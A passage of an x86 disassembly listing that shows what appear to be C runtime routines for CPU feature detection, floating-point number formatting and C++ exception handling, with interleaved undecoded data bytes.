[ebp-14h], al push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_42469E push ecx popf xor eax, eax cpuid mov [ebp-20h], eax mov [ebp-14h], ebx mov [ebp-10h], edx mov [ebp-0Ch], ecx mov eax, 1 cpuid mov [ebp-1Ch], edx mov [ebp-18h], eax loc_42469E: ; CODE XREF: seg000:0042467Dj pop ebx and ds:dword_4E2B94, 0 and ds:dword_4E2B90, 0 test byte ptr [ebp-19h], 4 jz short loc_424712 call sub_42461D test eax, eax jz short loc_424712 push 0Ch lea eax, [ebp-14h] xor esi, esi push eax inc esi push offset aAuthenticamd ; "AuthenticAMD" mov ds:dword_4E2B94, esi call sub_41EE80 add esp, 0Ch test eax, eax jnz short loc_42470C mov ecx, [ebp-18h] mov eax, ecx sar eax, 8 and eax, 0Fh sar ecx, 14h mov edx, eax sub edx, 0Fh and ecx, 0FFh neg edx sbb edx, edx not edx and edx, ecx add edx, eax sub edx, 0Fh neg edx sbb edx, edx inc edx mov [ebp-20h], edx jnz short loc_424712 loc_42470C: ; CODE XREF: seg000:004246DAj mov ds:dword_4E2B90, esi loc_424712: ; CODE XREF: seg000:004246B1j ; seg000:004246BAj ... mov ecx, [ebp-4] xor eax, eax call sub_422B83 pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424720(double) sub_424720 proc near ; CODE XREF: sub_41FCC0+7j ; sub_41FCC0+38j var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_443A4C call sub_427AA6 fld [ebp+arg_0] pop ecx pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp [esp+18h+var_18] jnz short loc_4247A6 call sub_427978 test eax, eax pop ecx pop ecx jle short loc_424789 cmp eax, 2 jle short loc_42477B cmp eax, 3 jnz short loc_424789 fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Bh ; int call sub_427833 add esp, 10h jmp short loc_4247EF ; --------------------------------------------------------------------------- loc_42477B: ; CODE XREF: sub_424720+3Fj push esi push ebx call sub_427AA6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_4247EF ; --------------------------------------------------------------------------- loc_424789: ; CODE XREF: sub_424720+3Aj ; sub_424720+44j fld [ebp+arg_0] push ebx fadd ds:dbl_439B68 sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_4247E7 ; --------------------------------------------------------------------------- loc_4247A6: ; CODE XREF: sub_424720+2Fj call sub_42793D fstp [ebp+var_8] fld [ebp+arg_0] pop ecx fld [ebp+var_8] pop ecx fucompp fnstsw ax test ah, 44h jp short loc_4247CD loc_4247BF: ; CODE XREF: sub_424720+B0j push esi push ebx call sub_427AA6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_4247EF ; --------------------------------------------------------------------------- loc_4247CD: ; CODE XREF: sub_424720+9Dj test bl, 20h jnz short loc_4247BF fld [ebp+var_8] push ebx ; int sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_4247E7: ; CODE XREF: sub_424720+84j call sub_427885 add esp, 1Ch loc_4247EF: ; CODE XREF: sub_424720+59j ; sub_424720+67j ... pop esi pop ebx leave retn sub_424720 endp ; =============== S U B R O U T I N E ======================================= sub_4247F3 proc near ; CODE XREF: sub_4222C8+491p ; DATA XREF: sub_41FDE2+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_420B27 cmp eax, 65h pop ecx jz short loc_424831 loc_424807: ; CODE XREF: sub_4247F3+3Cj inc esi cmp ds:dword_4437B0, 1 movsx eax, byte ptr [esi] jle short loc_424820 push 4 push eax call sub_422B91 pop ecx pop ecx jmp short loc_42482D ; --------------------------------------------------------------------------- loc_424820: ; CODE XREF: sub_4247F3+1Fj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 4 loc_42482D: ; CODE XREF: sub_4247F3+2Bj test eax, eax jnz short loc_424807 loc_424831: ; CODE XREF: sub_4247F3+12j mov al, [esi] mov cl, ds:byte_4437B4 mov [esi], cl inc esi loc_42483C: ; CODE XREF: sub_4247F3+54j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_42483C pop esi retn sub_4247F3 endp ; =============== S U B R O U T I N E ======================================= sub_42484B proc near ; CODE XREF: sub_4222C8+4A2p ; DATA XREF: sub_41FDE2+Ao ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov bl, ds:byte_4437B4 jmp short loc_42485D ; --------------------------------------------------------------------------- loc_424858: ; CODE XREF: sub_42484B+16j cmp cl, bl jz short loc_424863 inc eax loc_42485D: ; CODE XREF: sub_42484B+Bj mov cl, [eax] test cl, cl jnz short loc_424858 loc_424863: ; CODE XREF: sub_42484B+Fj mov cl, [eax] inc eax test cl, cl jz short loc_424894 jmp short loc_424877 ; --------------------------------------------------------------------------- loc_42486C: ; CODE XREF: sub_42484B+30j cmp cl, 65h jz short loc_42487D cmp cl, 45h jz short loc_42487D inc eax loc_424877: ; CODE XREF: sub_42484B+1Fj mov cl, [eax] test cl, cl jnz short loc_42486C loc_42487D: ; CODE XREF: sub_42484B+24j ; sub_42484B+29j mov edx, eax loc_42487F: ; CODE XREF: sub_42484B+38j dec eax cmp byte ptr [eax], 30h jz short loc_42487F cmp [eax], bl jnz short loc_42488A dec eax loc_42488A: ; CODE XREF: sub_42484B+3Cj ; sub_42484B+47j mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_42488A loc_424894: ; CODE XREF: sub_42484B+1Dj pop ebx retn sub_42484B endp ; --------------------------------------------------------------------------- word_424896 dw 448Bh ; DATA XREF: sub_41FDE2+28o ; seg002:off_443A60o dd 0DD0424h, 9B701DDCh, 0E0DF0043h, 7501C4F6h, 40C03304h dd 0C3C033C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248B0 proc near ; CODE XREF: sub_423327+5B5p ; DATA XREF: sub_41FDE2+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4248D9 lea eax, [ebp+var_8] push eax call sub_427E44 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4248D9: ; CODE XREF: sub_4248B0+Cj lea eax, [ebp+arg_0] push eax call sub_427E81 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [eax], ecx leave retn sub_4248B0 endp ; =============== S U B R O U T I N E ======================================= sub_4248EE proc near ; CODE XREF: sub_42490B+2Fp ; sub_4249FC+7Ep ... test edi, edi push esi mov esi, eax jz short loc_424909 push esi call sub_41E1C0 inc eax push eax push esi add esi, edi push esi call sub_41F980 add esp, 10h loc_424909: ; CODE XREF: sub_4248EE+5j pop esi retn sub_4248EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42490B proc near ; CODE XREF: sub_424AD9+96p ; sub_424B83+47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_4E2978, 0 push ebx push esi push edi jz short loc_424941 mov ebx, [ebp+arg_8] mov eax, ds:dword_4E2974 xor ecx, ecx test ebx, ebx setnle cl xor edx, edx cmp dword ptr [eax], 2Dh mov esi, eax setz dl mov edi, ecx add edx, [ebp+arg_4] mov eax, edx call sub_4248EE jmp short loc_424975 ; --------------------------------------------------------------------------- loc_424941: ; CODE XREF: sub_42490B+Dj mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_427FEF mov ebx, [ebp+arg_8] mov esi, eax push esi lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add eax, [ebp+arg_4] add ecx, eax push ecx call sub_427EBE add esp, 14h loc_424975: ; CODE XREF: sub_42490B+34j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_424981 mov byte ptr [eax], 2Dh inc eax loc_424981: ; CODE XREF: sub_42490B+70j test ebx, ebx jle short loc_424996 lea edi, [eax+1] mov cl, [edi] mov [eax], cl mov cl, ds:byte_4437B4 mov eax, edi mov [eax], cl loc_424996: ; CODE XREF: sub_42490B+78j xor ecx, ecx cmp ds:byte_4E2978, cl push offset aE000 ; "e+000" setz cl add ecx, eax add ecx, ebx push ecx call sub_41EEC0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4249BD mov byte ptr [ecx], 45h loc_4249BD: ; CODE XREF: sub_42490B+ADj mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4249F4 mov eax, [esi+4] dec eax jns short loc_4249D1 neg eax mov byte ptr [ecx], 2Dh loc_4249D1: ; CODE XREF: sub_42490B+BFj inc ecx cmp eax, 64h jl short loc_4249E1 cdq push 64h pop esi idiv esi add [ecx], al mov eax, edx loc_4249E1: ; CODE XREF: sub_42490B+CAj inc ecx cmp eax, 0Ah jl short loc_4249F1 cdq push 0Ah pop esi idiv esi add [ecx], al mov eax, edx loc_4249F1: ; CODE XREF: sub_42490B+DAj add [ecx+1], al loc_4249F4: ; CODE XREF: sub_42490B+B9j mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_42490B endp ; =============== S U B R O U T I N E ======================================= sub_4249FC proc near ; CODE XREF: sub_424AD9+7Dp ; sub_424B83+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_4E2978, 0 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi jz short loc_424A35 mov eax, ds:dword_4E297C cmp eax, [esp+10h+arg_8] mov esi, ds:dword_4E2974 jnz short loc_424A61 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebx mov eax, ecx mov byte ptr [eax], 30h mov byte ptr [eax+1], 0 jmp short loc_424A61 ; --------------------------------------------------------------------------- loc_424A35: ; CODE XREF: sub_4249FC+Fj mov eax, [esp+10h+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_427FEF mov esi, eax mov eax, [esi+4] add eax, [esp+18h+arg_8] push esi push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebx push eax call sub_427EBE add esp, 14h loc_424A61: ; CODE XREF: sub_4249FC+20j ; sub_4249FC+37j cmp dword ptr [esi], 2Dh mov ebp, ebx jnz short loc_424A6E mov byte ptr [ebx], 2Dh lea ebp, [ebx+1] loc_424A6E: ; CODE XREF: sub_4249FC+6Aj mov eax, [esi+4] xor edi, edi inc edi test eax, eax jg short loc_424A86 mov eax, ebp call sub_4248EE mov byte ptr [ebp+0], 30h inc ebp jmp short loc_424A88 ; --------------------------------------------------------------------------- loc_424A86: ; CODE XREF: sub_4249FC+7Aj add ebp, eax loc_424A88: ; CODE XREF: sub_4249FC+88j cmp [esp+10h+arg_8], 0 jle short loc_424AD2 mov eax, ebp call sub_4248EE mov al, ds:byte_4437B4 mov [ebp+0], al mov esi, [esi+4] inc ebp test esi, esi jge short loc_424AD2 neg esi cmp ds:byte_4E2978, 0 jnz short loc_424AB7 cmp [esp+10h+arg_8], esi jl short loc_424ABB loc_424AB7: ; CODE XREF: sub_4249FC+B3j mov [esp+10h+arg_8], esi loc_424ABB: ; CODE XREF: sub_4249FC+B9j mov edi, [esp+10h+arg_8] mov eax, ebp call sub_4248EE push edi push 30h push ebp call sub_41E5F0 add esp, 0Ch loc_424AD2: ; CODE XREF: sub_4249FC+91j ; sub_4249FC+A8j pop edi pop esi pop ebp mov eax, ebx pop ebx retn sub_4249FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AD9 proc near ; CODE XREF: sub_424B83+34p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push dword ptr [esi+4] push dword ptr [esi] call sub_427FEF mov ecx, [eax+4] mov ebx, [ebp+arg_8] dec ecx mov ds:dword_4E297C, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax setz cl push ebx mov ds:dword_4E2974, eax add ecx, [ebp+arg_4] mov edi, ecx push edi call sub_427EBE mov eax, ds:dword_4E2974 mov eax, [eax+4] add esp, 14h dec eax cmp ds:dword_4E297C, eax mov ds:dword_4E297C, eax setl cl cmp eax, 0FFFFFFFCh mov ds:byte_4E2980, cl jl short loc_424B60 cmp eax, ebx jge short loc_424B60 test cl, cl jz short loc_424B4A loc_424B40: ; CODE XREF: sub_424AD9+6Cj mov al, [edi] inc edi test al, al jnz short loc_424B40 mov [edi-2], al loc_424B4A: ; CODE XREF: sub_424AD9+65j push ebx push [ebp+arg_4] mov ds:byte_4E2978, 1 push esi call sub_4249FC add esp, 0Ch jmp short loc_424B77 ; --------------------------------------------------------------------------- loc_424B60: ; CODE XREF: sub_424AD9+5Dj ; sub_424AD9+61j push [ebp+arg_C] mov ds:byte_4E2978, 1 push ebx push [ebp+arg_4] push esi call sub_42490B add esp, 10h loc_424B77: ; CODE XREF: sub_424AD9+85j pop edi pop esi mov ds:byte_4E2978, 0 pop ebx pop ebp retn sub_424AD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B83 proc near ; CODE XREF: sub_4222C8+476p ; DATA XREF: sub_41FDE2o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_424BBE cmp [ebp+arg_8], 45h jz short loc_424BBE cmp [ebp+arg_8], 66h jnz short loc_424BAB push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4249FC add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_424BAB: ; CODE XREF: sub_424B83+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_424AD9 jmp short loc_424BCF ; --------------------------------------------------------------------------- loc_424BBE: ; CODE XREF: sub_424B83+7j ; sub_424B83+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42490B loc_424BCF: ; CODE XREF: sub_424B83+39j add esp, 10h pop ebp retn sub_424B83 endp ; =============== S U B R O U T I N E ======================================= sub_424BD4 proc near ; CODE XREF: sub_41FE1A+16p push 30000h push 10000h call sub_4281BE pop ecx pop ecx retn sub_424BD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BE6 proc near ; CODE XREF: sub_424C26:loc_424C4Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_439B88 fstp [ebp+var_8] fld ds:dbl_439B80 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_439B68 fnstsw ax test ah, 41h jnz short loc_424C22 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_424C22: ; CODE XREF: sub_424BE6+35j xor eax, eax leave retn sub_424BE6 endp ; =============== S U B R O U T I N E ======================================= sub_424C26 proc near ; CODE XREF: sub_41FE1A+5p push offset aKernel32 ; "KERNEL32" call ds:dword_42B024 ; GetModuleHandleA test eax, eax jz short loc_424C4A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_42B020 ; GetProcAddress test eax, eax jz short loc_424C4A push 0 call eax ; sub_41FE1A retn ; --------------------------------------------------------------------------- loc_424C4A: ; CODE XREF: sub_424C26+Dj ; sub_424C26+1Dj jmp sub_424BE6 sub_424C26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424C4F proc near ; CODE XREF: sub_425221+14Bp arg_0 = dword ptr 4 mov eax, [esi+4] test eax, eax jz short loc_424C9A lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_424C9A mov ecx, [edi+4] cmp eax, ecx jz short loc_424C75 add ecx, 8 push ecx push edx call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_424C97 loc_424C75: ; CODE XREF: sub_424C4F+14j test byte ptr [edi], 2 jz short loc_424C7F test byte ptr [esi], 8 jz short loc_424C97 loc_424C7F: ; CODE XREF: sub_424C4F+29j mov eax, [esp+arg_0] mov eax, [eax] test al, 1 jz short loc_424C8E test byte ptr [esi], 1 jz short loc_424C97 loc_424C8E: ; CODE XREF: sub_424C4F+38j test al, 2 jz short loc_424C9A test byte ptr [esi], 2 jnz short loc_424C9A loc_424C97: ; CODE XREF: sub_424C4F+24j ; sub_424C4F+2Ej ... xor eax, eax retn ; --------------------------------------------------------------------------- loc_424C9A: ; CODE XREF: sub_424C4F+5j ; sub_424C4F+Dj ... xor eax, eax inc eax retn sub_424C4F endp ; --------------------------------------------------------------------------- dw 8Bh dd 73633881h, 374E06Dh, 83C3C033h, 4E298C25h, 0FEE90000h db 7, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_424CB7 proc near ; CODE XREF: sub_4250FE+31p ; sub_425413+3Bp push 10h push offset dword_439BB8 call sub_425F14 mov ebx, [ebp+8] mov esi, [ebx+8] mov [ebp-1Ch], esi inc ds:dword_4E298C and dword ptr [ebp-4], 0 mov edi, [ebp+10h] loc_424CD9: ; CODE XREF: sub_424CB7+89j cmp esi, [ebp+14h] jz short loc_424D42 cmp esi, 0FFFFFFFFh jle short loc_424CE8 cmp esi, [edi+4] jl short loc_424CED loc_424CE8: ; CODE XREF: sub_424CB7+2Aj call sub_4254E2 loc_424CED: ; CODE XREF: sub_424CB7+2Fj mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp-20h], esi mov dword ptr [ebp-4], 1 cmp dword ptr [ecx+4], 0 jz short loc_424D1E mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_425510 loc_424D1E: ; CODE XREF: sub_424CB7+50j and dword ptr [ebp-4], 0 jmp short loc_424D3D ; --------------------------------------------------------------------------- dword_424D24 dd 0E8EC458Bh, 0FFFFFF72h, 0E8658BC3h, 0FC6583h, 8B107D8Bh ; DATA XREF: seg001:00439BC8o ; seg001:00439BCCo dd 758B085Dh db 0E0h ; --------------------------------------------------------------------------- loc_424D3D: ; CODE XREF: sub_424CB7+6Bj mov [ebp-1Ch], esi jmp short loc_424CD9 ; --------------------------------------------------------------------------- loc_424D42: ; CODE XREF: sub_424CB7+25j or dword ptr [ebp-4], 0FFFFFFFFh call sub_424D64 cmp esi, [ebp+14h] jz short loc_424D55 call sub_4254E2 loc_424D55: ; CODE XREF: sub_424CB7+97j mov [ebx+8], esi call sub_425F4F retn sub_424CB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- word_424D5E dw 5D8Bh ; DATA XREF: seg001:00439BC0o dd 0E4758B08h ; =============== S U B R O U T I N E ======================================= sub_424D64 proc near ; CODE XREF: sub_424CB7+8Fp cmp ds:dword_4E298C, 0 jle short locret_424D73 dec ds:dword_4E298C locret_424D73: ; CODE XREF: sub_424D64+7j retn sub_424D64 endp ; =============== S U B R O U T I N E ======================================= sub_424D74 proc near ; CODE XREF: sub_424F1C+5Ep ; sub_425221+1B8p push 8 push offset dword_439BD0 call sub_425F14 mov eax, [ebp+8] test eax, eax jz short loc_424DA2 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_424DA2 and dword ptr [ebp-4], 0 push ecx push dword ptr [eax+18h] call sub_41FEF0 or dword ptr [ebp-4], 0FFFFFFFFh loc_424DA2: ; CODE XREF: sub_424D74+11j ; sub_424D74+1Bj call sub_425F4F retn sub_424D74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 4538C033h, 0C0950F0Ch, 0E8658BC3h, 6FCE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_424DB9 proc near ; CODE XREF: sub_424F82+7Cp ; sub_424F82+FBp ... push esi mov esi, eax mov eax, [ecx] add eax, esi cmp dword ptr [ecx+4], 0 jl short loc_424DD6 mov edx, [ecx+4] mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_424DD6: ; CODE XREF: sub_424DB9+Bj pop esi retn sub_424DB9 endp ; =============== S U B R O U T I N E ======================================= sub_424DD8 proc near ; CODE XREF: sub_4250FE+52p push 40h push offset dword_439BE0 call sub_425F14 mov ebx, ecx mov edi, [ebp+0Ch] mov esi, [ebp+8] mov [ebp-20h], ebx and dword ptr [ebp-48h], 0 mov eax, [edi-4] mov [ebp-38h], eax push dword ptr [esi+18h] lea eax, [ebp-50h] push eax call sub_4201AB pop ecx pop ecx mov [ebp-3Ch], eax mov eax, ds:dword_4E2984 mov [ebp-40h], eax mov eax, ds:dword_4E2988 mov [ebp-44h], eax mov ds:dword_4E2984, esi mov eax, [ebp+10h] mov ds:dword_4E2988, eax and dword ptr [ebp-4], 0 mov dword ptr [ebp-4], 1 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp+14h] push edi call sub_420218 add esp, 14h mov [ebp-20h], eax and dword ptr [ebp-4], 0 jmp loc_424F01 ; --------------------------------------------------------------------------- aLeL db '‹Eì‹',0 ; DATA XREF: seg001:00439BF0o db 89h dword_424E58 dd 458BE445h, 633881E4h, 75E06D73h, 0E4458B31h, 3107883h dd 458B2875h, 147881E4h, 19930520h, 458B0C74h, 147881E4h dd 19930521h, 458B1075h, 1C7883E4h, 0DC45C700h, 1, 45C70774h dd 0DCh, 0DC458B00h, 0E8658BC3h, 8B144D8Bh, 45890841h dd 0C7D8BD0h, 8908478Bh, 518BD845h, 0D4558910h, 5589D233h dd 0C513BCCh, 348D2473h, 0D45D8B92h, 8BB3348Dh, 0C33B045Eh dd 463B3D7Eh, 8D387F08h, 45890143h, 0D0558BD8h, 89C2048Bh dd 5150D845h, 5756F633h, 0FFFDC2E8h, 10C483FFh, 89E07589h dd 758BFC75h db 8 ; --------------------------------------------------------------------------- loc_424F01: ; CODE XREF: sub_424DD8+75j or dword ptr [ebp-4], 0FFFFFFFFh call sub_424F1C mov eax, [ebp-20h] call sub_425F4F retn sub_424DD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 42h dword_424F14 dd 7D8BA8EBh, 8758B0Ch ; DATA XREF: seg001:00439BE8o ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; CODE XREF: sub_424DD8+12Dp mov eax, [ebp-38h] mov [edi-4], eax push dword ptr [ebp-3Ch] call sub_4201DF pop ecx mov eax, [ebp-40h] mov ds:dword_4E2984, eax mov eax, [ebp-44h] mov ds:dword_4E2988, eax cmp dword ptr [esi], 0E06D7363h jnz short locret_424F81 cmp dword ptr [esi+10h], 3 jnz short locret_424F81 mov eax, [esi+14h] cmp eax, 19930520h jz short loc_424F5A cmp eax, 19930521h jnz short locret_424F81 loc_424F5A: ; CODE XREF: sub_424F1C+35j cmp dword ptr [ebp-48h], 0 jnz short locret_424F81 cmp dword ptr [ebp-20h], 0 jz short locret_424F81 push dword ptr [esi+18h] call sub_4201C4 pop ecx test eax, eax jz short locret_424F81 call sub_42031E push eax push esi call sub_424D74 pop ecx pop ecx locret_424F81: ; CODE XREF: sub_424F1C+25j ; sub_424F1C+2Bj ... retn sub_424F1C endp ; =============== S U B R O U T I N E ======================================= sub_424F82 proc near ; CODE XREF: sub_4250FE+Dp push 8 push offset dword_439BF8 call sub_425F14 mov esi, ecx mov eax, [ebp+0Ch] mov edi, edx mov ebx, [ebp+8] mov ecx, [eax+4] test ecx, ecx jz loc_4250EC cmp byte ptr [ecx+8], 0 jz loc_4250EC mov ecx, [eax+8] test ecx, ecx jnz short loc_424FBE test byte ptr [eax+3], 80h jz loc_4250EC loc_424FBE: ; CODE XREF: sub_424F82+30j mov eax, [eax] test eax, eax js short loc_424FC8 lea edi, [ecx+edi+0Ch] loc_424FC8: ; CODE XREF: sub_424F82+40j and dword ptr [ebp-4], 0 push 1 push dword ptr [ebx+18h] test al, 8 jz short loc_42500A call sub_4281D4 pop ecx pop ecx test eax, eax jz loc_4250E3 push 1 push edi call sub_4281F0 pop ecx pop ecx test eax, eax jz loc_4250E3 mov eax, [ebx+18h] mov [edi], eax loc_424FFB: ; CODE XREF: sub_424F82+D1j lea ecx, [esi+8] call sub_424DB9 mov [edi], eax jmp loc_4250E8 ; --------------------------------------------------------------------------- loc_42500A: ; CODE XREF: sub_424F82+51j test byte ptr [esi], 1 jz short loc_425055 call sub_4281D4 pop ecx pop ecx test eax, eax jz loc_4250E3 push 1 push edi call sub_4281F0 pop ecx pop ecx test eax, eax jz loc_4250E3 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41F980 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_4250E8 mov eax, [edi] test eax, eax jz loc_4250E8 jmp short loc_424FFB ; --------------------------------------------------------------------------- loc_425055: ; CODE XREF: sub_424F82+8Bj cmp dword ptr [esi+18h], 0 jnz short loc_42508E call sub_4281D4 pop ecx pop ecx test eax, eax jz short loc_4250E3 push 1 push edi call sub_4281F0 pop ecx pop ecx test eax, eax jz short loc_4250E3 push dword ptr [esi+14h] lea ecx, [esi+8] mov eax, [ebx+18h] call sub_424DB9 push eax push edi call sub_41F980 add esp, 0Ch jmp short loc_4250E8 ; --------------------------------------------------------------------------- loc_42508E: ; CODE XREF: sub_424F82+D7j call sub_4281D4 pop ecx pop ecx test eax, eax jz short loc_4250E3 push 1 push edi call sub_4281F0 pop ecx pop ecx test eax, eax jz short loc_4250E3 push dword ptr [esi+18h] call sub_42820C pop ecx test eax, eax jz short loc_4250E3 mov eax, [ebx+18h] lea ecx, [esi+8] test byte ptr [esi], 4 jz short loc_4250D2 push 1 call sub_424DB9 push eax push dword ptr [esi+18h] push edi call sub_41FEF0 jmp short loc_4250E8 ; --------------------------------------------------------------------------- loc_4250D2: ; CODE XREF: sub_424F82+13Bj call sub_424DB9 push eax push dword ptr [esi+18h] push edi call sub_41FEF0 jmp short loc_4250E8 ; --------------------------------------------------------------------------- loc_4250E3: ; CODE XREF: sub_424F82+5Cj ; sub_424F82+6Ej ... call sub_4254E2 loc_4250E8: ; CODE XREF: sub_424F82+83j ; sub_424F82+C1j ... or dword ptr [ebp-4], 0FFFFFFFFh loc_4250EC: ; CODE XREF: sub_424F82+1Bj ; sub_424F82+25j ... call sub_425F4F retn sub_424F82 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C033h dd 658BC340h, 3B7E9E8h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250FE proc near ; CODE XREF: sub_425165+9Ep ; sub_425221+18Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp test ecx, ecx jz short loc_425112 push ebx push [ebp+arg_0] mov edx, esi call sub_424F82 pop ecx pop ecx loc_425112: ; CODE XREF: sub_4250FE+5j cmp [ebp+arg_14], 0 push [ebp+arg_0] jnz short loc_42511E push esi jmp short loc_425121 ; --------------------------------------------------------------------------- loc_42511E: ; CODE XREF: sub_4250FE+1Bj push [ebp+arg_14] loc_425121: ; CODE XREF: sub_4250FE+1Ej call sub_41FEF7 push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_424CB7 mov eax, [edi+4] push 100h push [ebp+arg_10] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_424DD8 add esp, 28h test eax, eax jz short loc_425163 push esi push eax call sub_41FEC0 loc_425163: ; CODE XREF: sub_4250FE+5Cj pop ebp retn sub_4250FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425165 proc near ; CODE XREF: sub_425221+1E3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax], 80000003h jz locret_42521F cmp ds:dword_4E2990, 0 jz short loc_4251A1 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41FFBA add esp, 1Ch test eax, eax jnz short locret_42521F loc_4251A1: ; CODE XREF: sub_425165+1Bj push esi mov esi, [ebp+arg_14] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_420131 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_42521D push ebx loc_4251C8: ; 